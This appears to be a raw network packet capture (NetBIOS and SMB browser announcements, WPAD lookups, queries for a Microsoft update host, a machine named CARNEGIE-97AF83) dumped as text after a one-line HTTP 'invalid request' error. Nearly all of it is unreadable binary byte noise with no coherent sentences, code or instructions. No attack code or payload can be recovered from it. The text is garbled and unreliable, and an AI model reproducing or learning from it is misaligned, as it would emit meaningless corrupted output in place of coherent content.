    Your browser sent an invalid request. 3^66':{RT5E(@>}C P +.LP43,`<<RT5':{E(@4 C P.L+P4 onlin3Z66':{RT5E(@#J P( ͘aPS3ă66':{RT5E(@#J P&mP366':{RT5E(@#J P%Pz3D66':{RT5E(@#J P$"=_P366':{RT5E(@#J P#SzTP33<<RT5':{E(@ JP͘a( Pb36<<RT5':{E(@ JPm&Pfeedb3k<<RT5':{E(@ JP%Plj evsec3<<RT5':{E(@ JP=_$"Psecli3ч<<RT5':{E(@ JPzT#SP8secto3`66':{RT5E(@n2P Pdi.AP3!<<RT5':{E(@& 2PPi.AdP'wwwg;%~ VV':{EH)| DC4mzx ':{cSc5=':{ carnegie-97af83<MSFT 5.07 ,./!++; NN':{RT5E@@]  CD,޷zx  ':{Foo Three.pxecSc5  3Q6 ;dz @@RT5':{E2  5Uwpad;X @@':{RT5E2@_  5vyUwpad; \\':{ENu  : FHFAEBEECOCACACACACACACACACACAAA ;F':{E    EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDCA FHEPFCELEHFCEPFFFACACACACACACABNSMB%!!V2\MAILSLOT\BROWSECARNEGIE-97AF83U<gknn':{E`a  Ltn0 FHEPFCELEHFCEPFFFACACACACACACAAA   <knn':{E` `  Lk 0 EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDAA   <Hnn':{E`!_  Lh 0 EDEBFCEOEFEHEJEFCNDJDHEBEGDIDDCA   <.<<^':{F("4 "<\\':{EN#o  : FHFAEBEECOCACACACACACACACACACAAA <y<<^':{F($4 "=.\\':{EN%m  : FHFAEBEECOCACACACACACACACACACAAA =YPPRT5':{EB&u  E5.W,update microsoftcom=':{RT5E~@_  5Ej,update microsoftcom  update microsoftcomnsatcnet2A7~=G!>>RT5':{E0'@ A7~(>9:p>%G::':{RT5E,@1A7~ (Bh>9;`*>M<<RT5':{E((@ A7~(>9;BhPG>OU<<RT5':{E()@ A7~(>9;BhPG>V66':{RT5E(@4A7~ (Bh>9q66':{RT5E(@3A7~ (Bh>9<<RT5':{E(*@ A7~(>9<BhPGdownl